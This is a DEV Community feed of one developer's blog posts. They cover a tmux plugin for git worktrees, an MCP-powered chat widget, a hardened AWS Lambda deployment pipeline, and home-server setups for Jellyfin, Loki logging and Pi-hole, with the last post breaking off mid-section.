DEV Community: denesbeck

🌳 tmux-worktree: A Tmux Plugin for Git Worktrees

denesbeck — Fri, 27 Mar 2026 15:32:04 +0000

Why I built a tmux plugin to manage git worktrees in the age of AI coding tools

I've been using Neovim and tmux for about 4-5 years now. My config has been virtually the same for 3 years. New editors come and go — I've watched the hype cycles play out — but I keep coming back to the same terminal setup. It's mine. My dotfiles, my keybindings, my workflow. A controlled environment that I own completely.

And honestly? In 2026, living in the terminal is more relevant than ever.

🤖 The AI era made the terminal even better

The rise of AI-powered CLI tools has made the terminal a first-class development environment in a way it never was before. Tools like Claude Code, Gemini CLI, Aider, Codex CLI, and OpenCode all run in the terminal. They don't need an IDE. They don't need a GUI. They just need a shell.

Claude Code in particular has transformed how I work. It makes me significantly faster and more productive. But it also introduced a new bottleneck.

🚧 The single-branch bottleneck

Here's the problem: when you're using an AI coding tool, you want to give it a clean workspace — one branch, one feature, one context. But real work isn't like that. You're juggling multiple features, bug fixes, and experiments on the same repo. With a traditional git workflow (one branch checked out at a time), you're constantly stashing, switching, and losing context.

This is especially painful with Claude Code. I want to run multiple Claude sessions on the same repo, each working on a different feature. But they can't all share the same working directory.

💡 The solution: git worktrees

Git worktrees let you check out multiple branches of the same repo simultaneously, each in its own directory. They share the same .git history but have independent working trees. This means:

Multiple branches checked out at once
Multiple Claude Code sessions, each in its own worktree
No stashing, no context switching, no conflicts
Token usage maxed out across parallel 4-hour sessions

The bottleneck is gone. Instead of working on one feature at a time, I can have Claude working on three different things in parallel — each in its own worktree, each in its own tmux window.

🔧 What tmux-worktree does

Managing worktrees manually with git worktree add, git worktree remove, and keeping tmux windows in sync is tedious. So I built a tmux plugin to handle it all from a floating popup.

Three keybindings, three workflows:

Keybinding	Action	What happens
`prefix + W`	Create	Pick a base branch, name your new branch, sync ignored files, select an AI tool, get a new tmux window
`prefix + w`	Switch	Pick from existing worktrees, jump to or open the tmux window
`prefix + X`	Remove	Select one or many worktrees to clean up (directory + branch + window)

AI tool picker

When you create or switch to a worktree, the plugin asks which tool you want to open it with. It detects what's installed on your system and shows a picker:

Claude Code
Gemini CLI
Aider
Codex CLI
OpenCode
Plain shell

Only installed tools appear as selectable — the rest are dimmed. If only one tool is available, the picker is skipped entirely.

Safe removal

Removing worktrees is where things get dangerous — you don't want to accidentally delete uncommitted work or unmerged branches. The plugin handles this carefully:

Dirty state indicators — worktrees with uncommitted changes are marked with * in the picker
Force-remove prompt — if a selected worktree has uncommitted changes, you get an explicit confirmation
Safe branch deletion — branches are deleted with git branch -d first. If unmerged, you're prompted per branch to force-delete or keep it
Main worktree protection — the main worktree and default branch cannot be removed
Multiselect — use Tab to select multiple worktrees for batch removal

Syncing gitignored files

One problem I kept running into: .env files, local config, secrets — all gitignored, all needed in every new worktree. Without them, the project won't run. You'd have to manually copy them every time you create a worktree.

The plugin solves this with a sync step built into the create flow. After naming your branch, you're prompted to sync ignored files:

Create new config — opens a multiselect picker listing all currently gitignored files. Pick the ones you want, then choose to either symlink or copy them into every new worktree.
Load existing config — reuses a previously saved selection, so you don't have to re-pick every time.
Skip — no sync.

The config is saved per repo (outside the worktree, so it's shared across all of them). When a worktree is created, the plugin reads the config and applies it: symlinking or copying each file into the new working directory automatically.

Symlink vs copy: symlinking means all worktrees share the same file — change it in one place and it updates everywhere. Copying gives each worktree its own independent version, useful when you want to tweak env vars per branch.

⚙️ Configuration

Everything is configurable in tmux.conf:

# Keybindings
set -g @worktree_create_key 'W'
set -g @worktree_switch_key 'w'
set -g @worktree_remove_key 'X'

# Tool list (only installed ones are selectable)
set -g @worktree_open_cmds 'claude,gemini,aider,codex,opencode,$SHELL'

# Popup dimensions
set -g @worktree_popup_width '60%'
set -g @worktree_popup_height '40%'

🧱 Implementation

The plugin is pure Bash — no compiled dependencies, no runtime requirements beyond tmux 3.2+, fzf, and git. The structure is minimal:

tmux-worktree/
├── worktree.tmux          # Entry point, keybindings
└── scripts/
    ├── common.sh           # Shared theme, helpers, fzf config
    ├── worktree-create.sh  # Create flow
    ├── worktree-switch.sh  # Switch flow
    └── worktree-remove.sh  # Remove flow

Each workflow runs inside a tmux display-popup — a floating window that overlays your current session. The popups use fzf for interactive selection with a consistent theme across all three flows.

Installation is through TPM (Tmux Plugin Manager):

set -g @plugin 'denesbeck/tmux-worktree'

🎯 Why this matters

The combination of tmux + Neovim + git worktrees + AI coding tools is incredibly powerful. It's not about chasing the latest editor or IDE — it's about having a stable, composable environment where each piece does one thing well.

Tmux manages sessions and windows. Neovim handles editing. Git worktrees provide isolated working directories. AI tools do the heavy lifting. And tmux-worktree is the glue that ties worktrees and tmux windows together.

If you live in the terminal and use AI coding tools, this workflow eliminates the biggest friction point: context switching between features. Instead of working sequentially, you work in parallel — and your AI tools can too.

💻 Check out tmux-worktree on GitHub.

You can also read this post on my portfolio page.

🤖 Building an AI Chat Widget with MCP

denesbeck — Wed, 18 Mar 2026 07:19:31 +0000

Adding an AI-powered assistant to my portfolio

I've been exploring the Model Context Protocol (MCP) — Anthropic's open standard for connecting AI models to external data sources. The idea is simple: instead of pasting context into a chat window, you give the AI structured access to your data through tools. I thought it would be a good fit for my portfolio — I have 20 blog posts, several projects, and an about page. Why not let visitors ask an AI assistant about any of it?

This post covers how I built two things: an MCP server for Claude Code (local development) and a streaming chat widget for the website (production).

🧩 What is MCP?

MCP (Model Context Protocol) is a JSON-RPC-based protocol that lets AI models call "tools" — functions that retrieve or manipulate data. Think of it like giving the AI a set of APIs it can call when it needs information.

For example, if someone asks "How do I set up a Jellyfin server?", the AI can:

Call a search_blog_posts tool with the query "jellyfin server"
Get back a list of matching blog posts (ranked by relevance)
Call get_blog_post to retrieve the full content
Synthesize an answer based on the actual blog post

The AI decides which tools to call and when — it's an agentic loop.

🏗️ Architecture

The implementation has two consumers of the same tool logic:

┌──────────────────────────────────┐
│  Shared: mcp-server/src/         │
│  (Tool definitions + handlers)   │
└──────────┬──────────┬────────────┘
           │          │
   ┌───────▼──┐  ┌────▼─────────────┐
   │  stdio   │  │  Next.js API     │
   │  server  │  │  /api/chat       │
   │          │  │                  │
   │  Claude  │  │  Claude API +    │
   │  Code    │  │  SSE streaming   │
   └──────────┘  └──────────────────┘

MCP server (mcp-server/): A standalone Node.js process that communicates via stdin/stdout. Used locally with Claude Code.
API route (/api/chat): A Next.js route handler that calls the Claude API with the same tool definitions, executes tools server-side, and streams the response back to the browser.

Both import from the same mcp-server/src/ source — the tool definitions, data loaders, and search logic are shared.

🔧 The MCP Server

The server uses the official @modelcontextprotocol/sdk and registers six tools:

Tool	Description
`search_blog_posts`	Keyword search across titles, descriptions, and tags
`get_blog_post`	Full content of a blog post by ID
`list_blog_posts`	All published posts with metadata
`get_about_info`	Personal info, skills, certs, social links
`list_projects`	Portfolio projects with tech stacks
`list_tags`	All unique blog tags

Each tool is registered with a Zod schema for input validation:

server.tool(
  'search_blog_posts',
  'Search blog posts by keyword.',
  {
    query: z.string().describe('Search keywords'),
    tag: z.string().optional().describe('Filter by tag'),
  },
  async (args) => {
    return executeTool('search_blog_posts', args)
  },
)

The executeTool function is where the actual logic lives — it's a plain TypeScript function with no MCP dependencies, which is why the Next.js API route can import it directly.

🔍 Blog Search

The search is a simple keyword matching algorithm — no vector database, no embeddings. With 20 blog posts, it doesn't need to be fancy:

Tokenize the query into lowercase words
For each blog post, score it based on matches in the title (3 points), description (2 points), and tags (2 points for exact, 1 for partial)
Sort by score descending, return top 5

This works surprisingly well. Searching "jellyfin server" returns the Jellyfin blog post with a score of 9 (title match + tag match + description match).

📡 Streaming Responses

The chat widget doesn't wait for the full response — it streams tokens as they arrive, giving the "typing" effect you see in ChatGPT. Here's how it works:

Server side (/api/chat):

Run tool-use rounds (non-streaming) until Claude produces a final text response
For the final response, use Claude's streaming API
Send each text delta as a Server-Sent Event (SSE)

const stream = client.messages.stream({
  model: 'claude-sonnet-4-20250514',
  max_tokens: 1024,
  system: SYSTEM_PROMPT,
  tools,
  messages: currentMessages,
})

const readable = new ReadableStream({
  async start(controller) {
    for await (const event of stream) {
      if (event.type === 'content_block_delta'
        && event.delta.type === 'text_delta') {
        controller.enqueue(
          encoder.encode(`data: ${JSON.stringify({
            text: event.delta.text
          })}\n\n`)
        )
      }
    }
    controller.enqueue(encoder.encode('data: [DONE]\n\n'))
    controller.close()
  },
})

Client side (React):

The chat widget reads the SSE stream and appends text to a streamingContent state variable. The markdown is rendered incrementally as tokens arrive:

const reader = response.body?.getReader()
const decoder = new TextDecoder()
let accumulated = ''

while (true) {
  const { done, value } = await reader.read()
  if (done) break

  const chunk = decoder.decode(value, { stream: true })
  const lines = chunk.split('\n')

  for (const line of lines) {
    if (line.startsWith('data: ')) {
      const data = line.slice(6)
      if (data === '[DONE]') break
      const parsed = JSON.parse(data)
      accumulated += parsed.text
      setStreamingContent(accumulated)
    }
  }
}

🎨 The Chat Widget

The widget is a floating React component in the bottom-right corner of every page. A few features worth mentioning:

Resizable: Drag the top-left handle to resize the window
Markdown rendering: Assistant responses are rendered with the same styling as blog posts (headings, code blocks, lists, links, tables)
Rate limiting: Server-side per-IP (20/hour) and global (200/hour) caps, plus a client-side 15-message session limit
Scroll behavior: Auto-scrolls to bottom on new messages and during streaming

The markdown components mirror the blog's mdx-components.tsx patterns — same color tokens, same link styles, same code block appearance — but scaled down for the compact chat bubble.

🛡️ Rate Limiting

Since the Claude API costs money per request, rate limiting is essential. The implementation uses a simple in-memory approach:

const RATE_LIMIT_PER_IP = 20
const RATE_LIMIT_GLOBAL = 200
const RATE_LIMIT_WINDOW_MS = 60 * 60 * 1000 // 1 hour

const ipRequests = new Map<string, {
  count: number
  resetAt: number
}>()

On Vercel, this resets whenever the serverless function cold-starts, but it's a good enough deterrent for a portfolio site. For absolute cost control, the Anthropic dashboard lets you set a monthly spend limit.

🎉 Outcome

With the MCP server and chat widget in place, I now have:

Claude Code integration — I can use Claude Code with full context of my blog posts, projects, and personal info by adding the MCP server to my config.
Visitor-facing AI assistant — Anyone visiting the site can ask questions and get answers grounded in actual blog content.
Streaming UX — Responses appear token by token, making the interaction feel natural.
Shared tool logic — The same search and data-loading code powers both the local MCP server and the web chat, with zero duplication.

The whole implementation sits cleanly in the existing Next.js project — the MCP server is a subdirectory that never gets deployed, and the chat widget is just another component in the layout.

You can also read this post on my portfolio page.

🚀 Lambda Deployments v2: Taking the Lambda deployment pipeline from MVP to production-ready

denesbeck — Mon, 16 Mar 2026 12:00:00 +0000

🚀 Lambda Deployments v2

Taking the Lambda deployment pipeline from MVP to production-ready

🧭 Introduction

Back in October 2025, I wrote about automating Lambda deployments with GitHub Actions. That workflow was functional — it deployed Lambda functions and layers across multiple regions using hash-based change detection and OIDC authentication. But as I started relying on it more heavily, cracks began to show.

There were bugs hiding in plain sight, the workflow was a single monolithic job, there were no tests, and the shell scripts had no guardrails. It worked, but it wasn't production-ready. So I decided to fix that — systematically.

🐛 Phase 1: Fixing What Was Broken

The first step was finding and fixing bugs that were already there but hadn't surfaced yet.

Compatible Runtimes Bug

The --compatible-runtimes flag in the AWS CLI expects space-separated values like nodejs18.x nodejs20.x nodejs22.x. My workflow was passing a raw JSON array from jq -c .runtimes, which produced ["nodejs18.x","nodejs20.x","nodejs22.x"]. This was silently accepted by the CLI in some cases, but it wasn't correct.

The fix was straightforward:

# Before
COMPATIBLE_RUNTIMES=$(jq -c .runtimes "$CONFIG_FILE")

# After
COMPATIBLE_RUNTIMES=$(jq -r '.runtimes | join(" ")' "$CONFIG_FILE")

Hardcoded Region

The contact form Lambda was hardcoding eu-central-1 for both SSMClient and SESClient. Since the function gets deployed to both us-east-1 and eu-central-1, the US deployment was making cross-region API calls. Fixed it by using process.env.AWS_REGION, which Lambda sets automatically.

Missing Error Handling

Two shell scripts (get-alias.sh and install-packages.sh) were missing set -euo pipefail. Without it, a failing command in the middle of the script would be silently ignored, potentially deploying broken artifacts. I also added a catch-all case to install-packages.sh so unrecognized package types fail loudly.

Pagination in Layer Cleanup

The lambda-layer-cleanup function was only processing the first page of results from list_layers() and list_layer_versions(). These APIs return at most 50 items per page. If you had more than 50 layers, the rest would be silently skipped. I added a NextMarker-based pagination loop to handle this correctly.

🔧 Phase 2: Hardening the Pipeline

With the bugs fixed, the next step was making the pipeline more robust.

ShellCheck Linting

I added ShellCheck to the CI pipeline. It catches common shell scripting mistakes like unquoted variables, unused variables, and POSIX compliance issues. It runs on every push against all scripts in the scripts/ directory.

Input Validation

The expand-config.sh script now validates that all required fields (function_name, runtime, handler, role) exist in config.json before proceeding. Previously, a missing field would silently produce an empty string, and you'd only find out when the AWS API call failed with a cryptic error.

Concurrency Control

Before this change, two pushes in quick succession to the same branch could trigger simultaneous deploys, potentially racing on hash file uploads and Lambda updates. I added a concurrency group scoped to the branch name:

concurrency:
  group: deploy-${{ github.ref_name }}
  cancel-in-progress: false

Splitting the Monolith

The original workflow was a single ~300-line job that handled everything. I split it into three distinct jobs:

validate  →  deploy-layers  →  deploy-functions

Each job only declares the environment variables it needs. The deploy-functions job depends on deploy-layers completing first (since new layer versions may affect function configuration). This also means if layers don't need deploying, that job finishes quickly and functions can proceed.

Removing the Unnecessary

I discovered that jq is pre-installed on GitHub's ubuntu-latest runners. The workflow was running sudo apt-get update && sudo apt-get install -y jq on every single run — unnecessarily adding ~10 seconds to every deploy. Removed it.

I also found that the hash generation script wasn't excluding its own output files (.code.hash, .config.hash) from the hash computation. This meant that on a second run without code changes, the hash would still differ because the hash files from the first run were included. Fixed it by excluding *.hash files from the find command.

🧪 Phase 3: Adding Tests

This was the most impactful phase. Before this, any push to main went straight to production with zero validation.

Node.js Tests (Vitest)

I wrote 14 unit tests for the contact form handler covering:

Input validation — missing token, invalid email, name/message boundary conditions
Cloudflare Turnstile — failed verification, network errors
SES email sending — failure path
Successful flow — verifying SSM calls, Turnstile payload, SES parameters
Unhandled exceptions — SSM crash fallback

The tests use aws-sdk-client-mock to mock SSM and SES clients, and vi.mock for axios. Each test reimports the module to get a fresh state.

Python Tests (pytest)

I wrote 10 unit tests for the layer cleanup function covering:

Pagination — single page, multiple pages, empty responses for both list_layers and list_layer_versions
Deletion logic — keeps latest 10 versions, deletes the rest
Multiple layers — processes each independently
Error handling — exceptions are logged and re-raised

One interesting challenge: the production code calls boto3.client('lambda') at module level. In CI, there's no AWS region configured, so this throws NoRegionError before any test code runs. The fix was to mock boto3.client itself before importing the module:

mock_lambda_client = MagicMock()

with patch("boto3.client", return_value=mock_lambda_client):
    import lambda_function

Validation Gate

All tests (ShellCheck + Vitest + pytest) now run in a validate job that must pass before any deploy job starts. The pipeline flow is:

validate (lint + tests)
    |
    ├──> deploy-layers (us-east-1, eu-central-1)
    |         |
    └─────────┴──> deploy-functions (us-east-1, eu-central-1)

✨ Phase 4: Production Polish

Structured JSON Logging

Both Lambda functions now output structured JSON logs instead of plain text. This makes them queryable with CloudWatch Insights:

const log = (level, message, extra = {}) => {
  const entry = { timestamp: new Date().toISOString(), level, message, ...extra };
  console.log(JSON.stringify(entry));
};

Instead of console.log("Email sent with SES:", messageId), it now outputs:

{"timestamp":"2026-03-14T10:30:00.000Z","level":"info","message":"Email sent with SES","messageId":"abc123"}

SSM Parameter Caching

The contact handler was calling SSM on every single invocation to fetch secrets. SSM parameters don't change often, so I moved the fetch to a module-level cached variable. The first invocation (cold start) fetches from SSM, and subsequent invocations on the same warm container reuse the cached values. This eliminates an API call per request and reduces latency.

📊 Summary of Changes

Phase	Changes	Impact
Bug fixes	5 fixes (runtimes, region, error handling, pagination, hashes)	Correctness
Hardening	ShellCheck, input validation, concurrency, job splitting	Reliability
Testing	24 tests (14 JS + 10 Python), validation gate	Safety
Polish	JSON logging, SSM caching, README rewrite	Operability

💡 Final Thoughts

The original workflow was a solid MVP. These changes turned it into something I'm confident deploying production workloads on. The biggest lesson: tests aren't optional for CI/CD pipelines. A deployment pipeline without tests is just a script that happens to run in the cloud.

The full changelog is 16 commits across 5 phases — all in the same repos:

🔗 https://github.com/denesbeck/lambda-functions \
🔗 https://github.com/denesbeck/lambda-functions-tf

You can also read this post on my portfolio page.

🏗️ Building my home server P7: Streaming movies with Jellyfin

denesbeck — Mon, 16 Mar 2026 10:14:45 +0000

🏗️ Building my home server: Part 7

Streaming movies with Jellyfin

In my previous blog post, I covered setting up centralized logging with Loki and Promtail. In this post, I'm deploying Jellyfin — a free, open-source media server. The idea is simple: I have a collection of movies on my server, and I want to stream them on my local network from any device with a web browser.

🤔 Why Jellyfin?

Jellyfin is a self-hosted media server that organizes your media library, provides metadata (posters, descriptions, subtitles), and streams content to any device with a web browser or a Jellyfin client app. Think of it as a self-hosted Netflix.

It's the most popular open-source alternative to Plex, with no account requirements and no premium tier — everything is free. No telemetry, no tracking, no "sign in to continue" prompts. You own your data and your server.

Other options I considered:

Plex — the most polished option, but requires an account, has a freemium model, and phones home. Some features (hardware transcoding, mobile sync) are locked behind Plex Pass.
Emby — started as open source but went proprietary. Similar to Plex in terms of requiring a license for key features.
Navidrome — excellent for music, but doesn't handle video.

Jellyfin checked all the boxes: fully open source, no account wall, good client support, and active development.

🐳 Running Jellyfin in Docker

Jellyfin runs as a single Docker container. The Ansible playbook uses the docker_container module (consistent with how I deploy all other services in this home lab):

- name: Ensure Jellyfin container is running
  docker_container:
    name: jellyfin
    image: jellyfin/jellyfin
    state: started
    restart_policy: unless-stopped
    published_ports:
      - "127.0.0.1:8096:8096"
    env:
      TZ: "Europe/Budapest"
    volumes:
      - "/home/jellyfin/config:/config"
      - "/home/jellyfin/cache:/cache"
      - "/mnt/movies:/media:ro"

A few things worth noting:

Read-only media: The movies directory is mounted as :ro (read-only). Jellyfin only needs to read the files for playback and metadata scanning — it should never modify the source media.
Localhost binding: Following the same pattern as all my other services, the port is bound to 127.0.0.1 and accessed through my Nginx reverse proxy at https://jellyfin.arcade-lab.io.
Config and cache separation: Jellyfin stores its database, metadata, and settings in /config, and uses /cache for image resizing and other temporary data. Keeping them separate makes backups cleaner — you only need to back up /config.

🤖 Automating with Ansible

As with everything else in my home lab, the entire setup is automated with Ansible. The playbook handles the full lifecycle:

Checks that Docker is installed
Creates the config and cache directories
Starts the Jellyfin container with the correct volumes, ports, and environment variables

All paths and configuration values live in a variables file that's excluded from version control, keeping sensitive information out of the repository. Running the playbook on a fresh server gets Jellyfin up and running in a single command.

🎉 Outcome

With Jellyfin deployed, I now have:

On-demand streaming — a Netflix-like interface for browsing and watching my movie collection from any device on the network.
Metadata and organization — Jellyfin automatically fetches posters, descriptions, ratings, and subtitles for my movies, making the library easy to browse.
Fully automated deployment — one Ansible playbook sets up everything from directories to the running container.

Noice! 🎉

You can also read this post on my portfolio page.

🏗️ Building my home server P6: Centralized logging with Loki

denesbeck — Mon, 16 Mar 2026 10:14:42 +0000

🏗️ Building my home server: Part 6

Centralized logging with Loki

In my previous blog post, I covered setting up Pi-hole for network-wide ad blocking and centralized local DNS. In this post, I'm adding centralized log management to my home lab using Grafana Loki. Up until now, if I wanted to check the logs of a specific container, I had to SSH into the server and run docker logs <container>. For system-level logs, I had to dig through journalctl. This was fine when things were working, but when something went wrong, jumping between terminals and grepping through logs was tedious. My goal was simple: have a single interface where I can see the logs of every container and the Ubuntu server system, all in one place.

🤔 Why Loki?

When it comes to log aggregation, the two main contenders are the ELK stack (Elasticsearch + Logstash + Kibana) and Grafana Loki (with Promtail). I went with Loki for a few reasons:

Resource footprint: ELK is notoriously memory-hungry. Elasticsearch alone wants 2-4 GB of heap memory, and you'd need three containers (Elasticsearch, Logstash, Kibana) on top of everything else. Loki + Promtail together use around 256-512 MB. On a single-node home lab that's already running Jellyfin, Prometheus, cAdvisor, Grafana, Pi-hole, and several other containers, that difference matters a lot.
Grafana integration: I already have Grafana as my monitoring dashboard. Loki is a native Grafana datasource — I can query logs in the same UI where I view my Prometheus metrics. With ELK, I'd need Kibana as a separate UI, which means yet another container, another port, and another Nginx proxy entry.
Log volume: ELK shines when you're doing complex full-text search across terabytes of logs per day. My home lab generates maybe a few MB of logs per day across ~13 containers and systemd. Loki's label-based filtering ({container="jellyfin"}, {unit="ssh.service"}) is more than sufficient for this scale.

In short, Loki is lightweight, integrates with my existing stack, and is perfectly suited for a home lab environment.

🏗️ Architecture

The logging pipeline consists of two components:

Promtail is the log collector. It runs as a container, discovers other containers via the Docker socket, reads their log files, and also reads the systemd journal for system-level logs. It ships everything to Loki.
Loki is the log aggregation backend. It receives logs from Promtail, indexes them by labels (not by full-text content, which is why it's so lightweight), and exposes them via an API that Grafana can query.

The data flow is: Containers / systemd → Promtail → Loki → Grafana

🔧 Loki Configuration

Loki needs a configuration file that defines how it stores and manages logs. Here's the configuration I'm using:

auth_enabled: false

server:
  http_listen_port: 3100
  grpc_listen_port: 9096

common:
  instance_addr: 127.0.0.1
  path_prefix: /loki
  storage:
    filesystem:
      chunks_directory: /loki/chunks
      rules_directory: /loki/rules
  replication_factor: 1
  ring:
    kvstore:
      store: inmemory

schema_config:
  configs:
    - from: 2020-10-24
      store: tsdb
      object_store: filesystem
      schema: v13
      index:
        prefix: index_
        period: 24h

limits_config:
  reject_old_samples: false
  ingestion_rate_mb: 16
  ingestion_burst_size_mb: 32
  retention_period: 360h

compactor:
  working_directory: /loki/compactor
  compaction_interval: 10m
  retention_enabled: true
  retention_delete_delay: 2h
  delete_request_cancel_period: 24h
  delete_request_store: filesystem

ruler:
  alertmanager_url: http://localhost:9093

A few things worth noting:

auth_enabled: false: Since this is a home lab behind a firewall, I don't need multi-tenancy or authentication at the Loki level. Grafana handles access control.
store: tsdb with schema: v13: This is the current recommended storage engine. Older guides might reference boltdb-shipper with v11, but those are deprecated in recent Loki versions.
retention_period: 360h: This keeps logs for 15 days, matching my Prometheus retention. Logs older than 15 days are automatically cleaned up by the compactor.
delete_request_store: filesystem: This is required when retention is enabled — without it, Loki will refuse to start with a validation error.

🔧 Promtail Configuration

Promtail needs to know where to find logs and where to ship them. Here's the configuration:

server:
  http_listen_port: 9080
  grpc_listen_port: 0

positions:
  filename: /tmp/positions.yaml

clients:
  - url: http://loki:3100/loki/api/v1/push

scrape_configs:
  - job_name: docker_logs
    docker_sd_configs:
      - host: unix:///var/run/docker.sock
        refresh_interval: 5s
    relabel_configs:
      - source_labels: ['__meta_docker_container_name']
        target_label: 'container'
      - source_labels: ['__meta_docker_container_image']
        target_label: 'image'
      - source_labels: ['__meta_docker_container_id']
        target_label: '__path__'
        replacement: '/var/lib/docker/containers/$1/*-json.log'

  - job_name: system_logs
    journal:
      path: /run/log/journal
      max_age: 12h
      labels:
        job: system
    relabel_configs:
      - source_labels: ['__journal__systemd_unit']
        target_label: 'unit'
      - source_labels: ['__journal__hostname']
        target_label: 'host'

There are two scrape jobs here:

docker_logs: Uses Docker service discovery (docker_sd_configs) to automatically find all running containers via the Docker socket. It reads each container's JSON log file from /var/lib/docker/containers/ and labels the logs with the container name and image. This means every container is picked up automatically — no manual configuration needed when I add new services.
system_logs: Reads the systemd journal to capture system-level logs. This covers everything that goes through systemd: SSH, Nginx, Samba, cron jobs, and any other system services. Each log entry is labeled with the systemd unit name and hostname.

🐳 Docker Compose

With the configuration files in place, I added both services to my existing monitoring docker-compose.yml:

promtail:
  image: grafana/promtail:3.4.2-amd64
  container_name: promtail
  hostname: promtail
  user: root
  volumes:
    - /var/log:/var/log:ro
    - ./promtail:/etc/promtail:ro
    - /var/log/journal:/run/log/journal:ro
    - /etc/machine-id:/etc/machine-id:ro
    - /var/lib/docker/containers:/var/lib/docker/containers:ro
    - /var/run/docker.sock:/var/run/docker.sock:ro
  command:
    - -config.file=/etc/promtail/config.yml
  depends_on:
    - loki
  networks:
    - monitoring
  restart: unless-stopped

loki:
  image: grafana/loki:latest
  container_name: loki
  hostname: loki
  volumes:
    - loki_data:/loki
    - ./loki-config.yml:/etc/loki/local-config.yaml
  command:
    - -config.file=/etc/loki/local-config.yaml
    - -config.expand-env=true
  ports:
    - "127.0.0.1:3100:3100"
  networks:
    - monitoring
  restart: unless-stopped

There were a few gotchas I ran into during setup that are worth mentioning:

Promtail Image

The default grafana/promtail:latest image does not include systemd journal support. If you use it, Promtail will log a warning saying journal support is not compiled in, and your system logs simply won't appear. The platform-specific images (e.g., grafana/promtail:3.4.2-amd64 for x86_64 or the -arm64 variant for ARM) include journal support.

Journal Path

On Ubuntu, the systemd journal is stored at /var/log/journal by default (persistent storage), not /run/log/journal (which is volatile/in-memory). The volume mount maps the host's /var/log/journal to /run/log/journal inside the container, which is where Promtail's config expects to find it.

Permissions

The Promtail container needs to run as root to read the journal files, which are owned by root:systemd-journal. Additionally, the /etc/machine-id file must be mounted — the journal reader uses it to identify and open the correct journal directory.

Loki Port Binding

Following the same pattern as all my other services, Loki's port is bound to 127.0.0.1:3100 so it's only accessible from localhost and proxied through Nginx if needed.

📊 Grafana Datasource

To make Loki available in Grafana without manual configuration, I added it to my existing datasource provisioning file:

apiVersion: 1

datasources:
  - name: Prometheus
    type: prometheus
    access: proxy
    url: http://prometheus:9090
    isDefault: true
  - name: Loki
    type: loki
    access: proxy
    url: http://loki:3100

After restarting Grafana, Loki shows up as a datasource automatically.

🔍 Querying Logs

With everything deployed, I can now query logs in Grafana's Explore view by selecting the Loki datasource. Loki uses LogQL as its query language. Here are some examples:

# All logs from a specific container
{container="/jellyfin"}

# All system logs
{job="system"}

# SSH service logs
{job="system", unit="ssh.service"}

# Nginx logs
{job="system", unit="nginx.service"}

# Search for errors across all containers
{container=~".+"} |= "error"

# Samba logs
{job="system", unit="smbd.service"}

One thing to keep in mind: Grafana's label dropdown in the Explore view only shows label values that exist within the selected time range. If a container hasn't produced any logs in the time window you're looking at, it won't appear in the list. This doesn't mean anything is broken — just widen the time range.

🔒 Security

A quick note on security, since we're now aggregating system logs in a centralized location. The logs may contain usernames, IP addresses, service names, and error details. They do not contain passwords or secrets — systemd journal doesn't log those unless a service explicitly prints them to stdout.

The setup is secured by the same layers as the rest of the monitoring stack: Loki is bound to 127.0.0.1 (not exposed to the network), Grafana requires authentication, and UFW blocks all inbound traffic except SSH, SMB, and Nginx. For a home lab behind a firewall, this is a reasonable setup.

🎉 Outcome

With Loki and Promtail added to the stack, I now have:

Container logs — every Docker container's stdout/stderr is automatically collected and queryable in Grafana, with no per-container configuration needed.
System logs — SSH, Nginx, Samba, cron, and all other systemd services are captured from the journal.
15-day retention — matching my Prometheus metrics retention, with automatic cleanup.
A single interface — everything is accessible in Grafana, right next to my existing metrics dashboards.

No more SSH-ing into the server to run docker logs or journalctl. Noice! 🎉

You can also read this post on my portfolio page.

🏗️ Building my home server P5: Network-wide ad blocking with Pi-hole

denesbeck — Mon, 16 Mar 2026 10:09:37 +0000

🏗️ Building my home server: Part 5

Network-wide ad blocking with Pi-hole

In my previous blog post, I covered deploying containers, configuring UFW, and setting up Nginx as a reverse proxy for my services. In this post, I'm taking things a step further by adding network-wide ad blocking to my home lab using Pi-hole. Pi-hole is a DNS sinkhole that blocks ads and trackers at the network level, meaning every device on my local network benefits from it without needing any client-side software. It also comes with a slick web interface for monitoring DNS queries and managing blocklists. On top of that, I configured Pi-hole to handle local DNS resolution for all my home lab services, so I can access them by their subdomain names instead of remembering IP addresses and port numbers.

🤔 Why Pi-hole?

Up until this point, I had been relying on the /etc/hosts file on each client device to resolve my *.arcade-lab.io subdomains to the server's local IP. This worked, but it was tedious to maintain across multiple devices. Every time I added a new service, I had to update the hosts file on every laptop, phone, and tablet on my network.

With Pi-hole acting as the DNS server for my local network, I can define all my local DNS records in one place. Point your device's DNS to the server, and it just works. The ad blocking is a nice bonus on top of that.

🐧 Fixing the systemd-resolved Conflict

On Ubuntu, the systemd-resolved service runs a DNS stub listener on port 53 by default. Since Pi-hole needs to bind to port 53 for DNS resolution, these two services conflict with each other. The fix is straightforward: disable the stub listener.

Edit the resolved configuration file:

sudo vi /etc/systemd/resolved.conf

Find the line #DNSStubListener=yes and change it to:

DNSStubListener=no

Replace /etc/resolv.conf with a symlink to the runtime version that uses your Netplan DNS settings:

sudo rm /etc/resolv.conf
sudo ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf

Restart the service:

sudo systemctl restart systemd-resolved

After this, port 53 is free for Pi-hole to use.

🐳 Running Pi-hole in Docker

Since all my other services run in Docker containers, Pi-hole was no exception. I followed the official Docker Pi-hole documentation to set things up. Here's what the container deployment looks like:

docker run -d \
  --name pihole \
  -p 192.168.64.15:53:53/tcp \
  -p 192.168.64.15:53:53/udp \
  -p 127.0.0.1:800:80/tcp \
  -e TZ=Europe/Budapest \
  -e FTLCONF_webserver_api_password=<your_password> \
  -e FTLCONF_dns_listeningMode=ALL \
  -e FTLCONF_dns_upstreams="8.8.8.8;8.8.4.4" \
  -v /home/pihole/etc-pihole:/etc/pihole \
  --cap-add NET_BIND_SERVICE \
  --restart unless-stopped \
  pihole/pihole:latest

Port Bindings

There are three port mappings here, and each one was a deliberate choice:

192.168.64.15:53:53/tcp and 192.168.64.15:53:53/udp: DNS ports bound to the server's LAN IP. This is the key part — devices on the local network can point their DNS to 192.168.64.15 and Pi-hole will handle their queries. I deliberately did not bind to 0.0.0.0 to keep it as targeted as possible.
127.0.0.1:800:80/tcp: The Pi-hole web admin interface, bound to localhost only. This follows the same pattern I established in Part 4 — all web UIs are bound to 127.0.0.1 and proxied through Nginx with SSL. Port 800 is used because port 80 is already taken by Nginx itself.

Why Not `0.0.0.0` for DNS?

